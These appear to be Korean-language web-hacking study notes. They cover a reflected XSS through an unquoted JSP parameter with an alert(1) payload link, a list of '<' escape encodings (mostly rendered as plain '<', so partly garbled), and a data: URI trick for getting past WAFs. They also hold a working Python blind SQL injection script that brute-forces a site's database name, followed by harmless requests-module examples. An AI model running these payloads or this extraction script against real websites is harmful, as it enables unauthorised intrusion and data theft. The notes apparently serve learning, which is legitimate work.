<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
</script>
공격 시 URL
공격자가 title 파라미터에 악성 스크립트를 삽입하여 링크를 공유
<a href="/share?content_type=1&title=This is a regular title&content_type=1;alert(1)">Share</a>
공유 페이지에서 발생한 XSS
공유 페이지의 출력에서 content_type 값이 1;alert(1)로 되어 스크립트가 실행됨.
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
...
</script>
문자 이스케이프 시퀀스
HTML과 JavaScript에서 문자 < 의 모든 가능한 조합이다.
이 중 대부분은 바로 렌더링되지 않지만, 특정 상황에서 렌더링 될 수 있는 것이 많다.
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
WAF 우회 방법
URI(Data URL Scheme)
data: 스키마는 브라우저에서 데이터를 직접 URL로 지정하여 처리할 수 있도록 하는 데이터 URI(Data URL Scheme)
data:[<MIME 유형>][;base64],<데이터>
<MIME 유형>: text/html → 브라우저가 HTML 문서로 해석하게 함.
base64: 데이터가 Base64로 인코딩되어 있음을 나타냄.
<데이터>: Base64로 인코딩된 HTML 또는 JavaScript 코드.
브라우저는 data: URL을 해석하여 text/html MIME 타입으로 실행.
Base64로 인코딩된 데이터를 디코딩하여 HTML 페이지로 렌더링.
<script>alert('XSS')</script>가 실행되며 **XSS(Alert 창 실행)**이 발생.
import requests
# 데이터베이스 이름의 길이를 찾는 부분
length = 0
for lengths in range(1, 30):
url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20length(database())={0}%20--%20".format(lengths)
res = requests.get(url)
if "2949" in res.text: # 특정 문자열로 길이를 식별
print("\n 데이터베이스명의 길이는 {0}".format(lengths))
length = lengths
break
else:
continue
# 데이터베이스 이름을 추출하는 부분
db_name = ""
for i in range(1, length + 1):
for j in range(33, 127):
url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20ascii(substr(database(),{0},1))={1}%20--%20".format(i, j)
res = requests.get(url)
if "2949" in res.text: # 특정 문자열로 문자 식별
db_name += chr(j)
break
print("\n 데이터베이스 명: {0}".format(db_name))
예시
참고
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
requests 모듈 GET 예제 코드
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)